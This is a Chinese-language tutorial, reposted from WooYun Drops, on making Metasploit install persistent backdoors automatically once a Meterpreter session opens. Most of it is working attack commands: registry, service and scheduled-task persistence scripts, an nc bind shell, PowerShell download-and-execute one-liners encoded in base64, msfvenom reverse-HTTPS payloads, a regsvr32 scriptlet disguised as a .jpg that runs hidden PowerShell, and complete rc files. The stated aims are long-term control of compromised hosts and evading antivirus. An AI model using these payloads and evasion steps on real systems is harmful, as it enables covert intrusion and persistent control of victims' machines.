from:http://drops.wooyun.org/tips/16908
0x00 简介
Metasploit——渗透测试神器,drops里有很多介绍了。使用过Metasploit的同学应该知道,在没有任何配置的情况下,会话中断 以后,是不会重连的,也就是说,是不会安装持续控制后门的,也许你知道如何在生成Meterpreter会话之后安装后门,而本文主要介绍的是,如何在生 成会话之后,自动安装持续控制后门,达到我们可以对被攻击者长期控制的目的。
0x01 MSF Persistent Scripts
在介绍之前,首先介绍一下MSF中已经含有的用于创建持续控制后门的脚本。
1、Persistence
路径:metasploit/scripts/meterpreter/persistence.rb
,用于创建通过启动项启动。会创建注册表,创建文件,很容易被杀软拦截
。
使用举例:
1
|
run persistence -A -U -i 5 -p 443 -r 192.168.2.101 |
使用-S可创建服务。-U 会在HKCU添加启动项,-X 会在HKLM添加启动项
能实现同样功能的脚本还有:
-
exploit/windows/local/persistence.rb
-
exploit/windows/local/registry_persistence.rb
2、Metsvc
路径:metasploit/scripts/meterpreter/metsvc.rb
,用于创建服务启动。会创建meterpreter服务,并上传三个文件,很容易被杀软拦截,且安装服务需要管理员权限
。
使用举例:
1
|
run metsvc -A |
使用 -r 参数可卸载服务。
3、Scheduleme & Schtasksabuse
路径:metasploit/scripts/meterpreter/scheduleme.rb
metasploit/scripts/meterpreter/schtasksabuse.rb
这两个脚本都是通过schtasks来创建计划任务来达到维持权限的目的,区别是scheduleme
需要当前进程拥有最高管理权限
,而schtasksabuse
则不需要,(测试发现很容易被杀软拦截
)。
使用举例:
scheduleme
run scheduleme -m 1 -e /tmp/nc.exe -o "-e cmd.exe -L -p 8080" #上传nc并创建计划任务每一分钟执行一次 'nc -e cmd.exe -L -p 8080'
run scheduleme -m 1 -c "cmd /c calc.exe" # 创建计划任务每一分钟执行一次打开计算器命令
其他参数有兴趣自己看看就不详细介绍了
schtasksabuse
run schtasksabuse -t 192.168.2.7 -c "cmd /c calc.exe" -d 4 #每隔4秒执行一次calc.exe
使用脚本需要加-t参数
能实现同样功能的脚本还有:exploits/windows/local/s4u_persistence.rb
4、Mof_ps_persist
之前在 Powershell之MOF后门 提到过,创建WMI后门的一种方式,可以在你的MSF添加此脚本。(运行需要管理员权限,不容易被拦截
)
详细使用过程就不再重复了。
当然,MSF持续控制的脚本还有几个,这里就不一一介绍了。
0x02 Autorunscript
说到要自动运行脚本,离不了autorunscript。autorunscript是一个十分强大的脚本,可以让我们在生成会话的同时,执行指定的操作。现在可以直接通过autorunscript来直接调用的脚本已经有66个,目录在metasploit/scripts/meterpreter
,包括屏幕截图,获取环境变量等等,还有我们常用的migrate,uploadexec等。
举个例子,如果我们想在获取到会话的同时,执行persistence进行留后门操作可以直接这样:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.2.101
set LPORT 5555
set ExitOnSession false
set AutoRunScript persistence -r 192.168.2.101 -p 5556 -U -X -i 30
exploit -j -z
当生成会话以后,自动执行persistence,结果就像这样:
当然,同样可以设置metsvc
1
|
set AutoRunScript metsvc -A |
其实,从标题上来讲,此文已经可以结束了,因为现在完全可以实现Automated Persistent Backdoor的目的。但是,以上两种方式很容易被杀软拦截,那我们还有什么方式么?答案是有的。
在介绍之前,再介绍两个很有用的脚本。multi_console_command
及 multicommand
。
multi_console_command:用来执行msf的命令的脚本,帮助信息如下:
使用示例:
1
|
meterpreter > run multi_console_command -cl "pwd" |
cl参数用来执行一条meterpreter的命令,rc参数用来执行多条meterpreter命令,按行分割。
multicommand:用来执行cmd命令的脚本,帮助信息如下:
使用示例:
1
|
run multicommand -cl "whoami" |
此脚本可用来执行cmd命令,有一个缺点就是会一直等待执行的程序退出以返回结果。
0x03 Resource scripts
除了使用以上Autorunscript,使用Resource 脚本也是可以的,通常我们常见的rc脚本内容是这样的:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.184
set ExitOnSession false
exploit -j -z
将以上内容保存为1.rc,然后执行如下命令:
1
|
msfconsole -r 1.rc |
自动输入命令而省去了我们一条一条输入的繁琐。其实,rc文件里面也可以写ruby代码的,一个简单的示例如下:
使用以上Resource的效果是,开启exploit/multi/script/web_delivery
进行配置并开启监听,当产生一个会话以后,自动执行screenshot以及persistent操作,最后关闭当前会话继续等待。效果如下图:
0x04 绕过拦截
至此,我们已经可以通过使用autorunscript
或者使用添加ruby代码的resource脚本
两种方式来让msf在产生会话的同时自动创建Persistent Backdoor了,那么AV那一关怎么过呢?别着急,很多人都知道,Powershell在绕AV上有不错的效果,那我们就试试使用Powershell。
测试过程如下:
1、首先我们先通过web_delivery的PSH获取到一个meterpreter会话。
2、构造创建计划任务命令如下:
1
|
schtasks /create /tn mytask /tr notepad.exe /sc hourly /mo 1 #指定每1小时执行一次notepad.exe |
3、测试shell下直接执行(被拦截):
4、将以上命令写入schtasks.ps1,然后通过IEX下载执行,这种方式就不会被拦截了:
1
|
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/DemoShell/schtasks.ps1');" |
5、将命令写入autorunscript:
由于命令中存在引号,可以通过编码方式解决,详细如下:
1
|
echo "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/DemoShell/schtasks.ps1');" | iconv --to-code UTF-16LE |base64 |
最后执行的命令为:
powershell -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUgBpAGQAdABlAHIALwBQAGUAbgB0AGUAcwB0AC8AbQBhAHMAdABlAHIALwBwAG8AdwBlAHIAcwBoAGUAbABsAC8ARABlAG0AbwBTAGgAZQBsAGwALwBzAGMAaAB0AGEAcwBrAHMALgBwAHMAMQAnACkAOwAKAA==
之后我们就需要用到multicommand
脚本了,自动运行的命令为:
set autorunscript 'multicommand -cl "powershell -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUgBpAGQAdABlAHIALwBQAGUAbgB0AGUAcwB0AC8AbQBhAHMAdABlAHIALwBwAG8AdwBlAHIAcwBoAGUAbABsAC8ARABlAG0AbwBTAGgAZQBsAGwALwBzAGMAaAB0AGEAcwBrAHMALgBwAHMAMQAnACkAOwAKAA=="'
现在我们就在获取meterpreter会话之后,绕过拦截自动创建了计划任务,至于怎么样使用计划任务创建一个后门,其实已经有了现成的powershell脚本。请看拓展。
0x05 拓展
PowerSploit 是一个Powershell的渗透框架,其中含有Persistence模块,不知道小伙伴没有没有测试过。具体怎么使用这里就不详细介绍了,有兴趣可是看一下里面的Help信息。
1、首先,生成一个自动创建计划任务后门的脚本:
加载Persistence模块:
1
|
PS C:Persistence> Import -Module .Persistence.psm1 |
因为常常我们希望在没有最高权限的情况下创建后门,为了避免杀软,尽量不使用添加注册表的方式,所以,这里依然使用计划任务的方式来创建,执行时间是计算机空闲状态执行。具体命令如下:
1
2
3
|
PS C:Persistence> $ElevatedOptions = New -ElevatedPersistenceOption -ScheduledTask -OnIdle PS C:Persistence> $UserOptions = New -UserPersistenceOption -ScheduledTask -OnIdle PS C:Persistence> Add -Persistence -FilePath .evil.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose |
可以看脚本说明更改触发条件
evil.ps1是计划任务要执行的payload,可以使用以下命令来生成。
1
|
msfvenom -p windows /x64/meterpreter/reverse_https lhost=192.168.2.101 lport=7777 -f psh-reflection -o evil.ps1 |
最终生成脚本如下:
2、测试脚本功能:
将Persistence.ps1 脚本放到web上通过IEX来加载。创建成功以后当电脑空闲时,会执行命令,从而产生meterpreter会话。
测试方式为执行以下命令:
1
|
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://domain.com/Persistence.ps1'); " |
在这里发现一个小bug,运行脚本的时候,执行的powershell对话框并不会隐藏,解决方式是修改Persistence.ps1 ,找到
powershell.exe -NonInteractive
并添加-w hidden
参数。如果有已经有了cmd权限,可以直接执行此命令添加计划任务后门,这里设置为获取meterpreter之后自动执行是为了在通过某些其他漏洞获取meterpreter会话之后自动创建计划任务后门。
测试发现脚本可以实现我们想要的功能。
3、构造Autorunscript命令:
现在要做的就是把Auturunscript以及Persistence.ps1相结合使用,由于命令中存在引号,可以根据前文中提到的方式进行编 码处理。但是,经过测试,按照上文中的方式执行是有问题的,multicommand执行会等待程序执行结束并获取执行结果,这样一来,由于执行的进程不 会退出且无回显,所以,会导致程序报错!
多次测试以后,找到了解决方式,即使用http://drops.wooyun.org/tips/15124所讲的方式。
构造sct文件如下:
<?XML version="1.0"?>
<scriptlet>
<registration
progid="ShortJSRAT"
classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
<!-- Learn from Casey Smith @subTee -->
<script language="JScript">
<![CDATA[
rat = "base64codes"
ps = "cmd.exe /c powershell -window hidden -enc "
new ActiveXObject("WScript.Shell").Run(ps + rat,0,true);
]]>
</script>
</registration>
</scriptlet>
将以上内容命名为test.jpg并放到web服务器上(替换掉base64codes),之后执行
1
|
regsvr32 /u /s /i :http: //domain .com /test .jpg scrobj.dll |
与执行powershell的命令是等价的。并且会通过regsvr32开启新的进程而不影响multicommand的执行。
所以最终要设置的内容为:
1
|
set autorunscript 'multicommand -cl "regsvr32 /u /s /i:http://domain.com/test.jpg scrobj.dll"' |
当获取meterpreter会话以后,自动执行命令安装后门:
这样,两者就完美的结合了。重启以后,空闲状态时,脚本执行,重新获取meterpreter会话。这里就不截图了。
以上命令可写入rc文件方便运行:
payload.rc
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
use exploit /multi/script/web_delivery set target 2 set payload windows /meterpreter/reverse_tcp set lhost 192.168.2.101 set lport 6666 set uripath / set ExitOnSession false set autorunscript 'multicommand -cl "regsvr32 /u /s /i:http://domain.com/test.jpg scrobj.dll"' exploit -j use exploit /multi/handler set payload windows /x64/meterpreter/reverse_https set lhost 192.168.2.101 set lport 7777 set ExitOnSession false exploit -j |
自己配置修改相关选项
或者也可以使用Resource脚本来构造,看你的心情了。使用以上方式还可以实现自动bypassuac并执行安装需要高权限安装的后门,具体怎么实现,就不详细说明了,小伙伴可以自己试试看。
0x06 小结
本文重点介绍一下Autorunscript这个功能以及几个比较实用的脚本,具体还能做什么操作,大家可以自由发挥,也算是一个科普,虽然以上测 试在安装杀软的情况下进行,并且进行了暂时的绕过。但并不代表杀软永远不会拦截,也无任何针对性。仅仅是一个小结以及测试记录。如果有错误的地方,还请小 伙伴们包涵,欢迎指正,希望此文对你有帮助。
本文始发于微信公众号(关注安全技术):Metasploit的高级可持续性后门
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论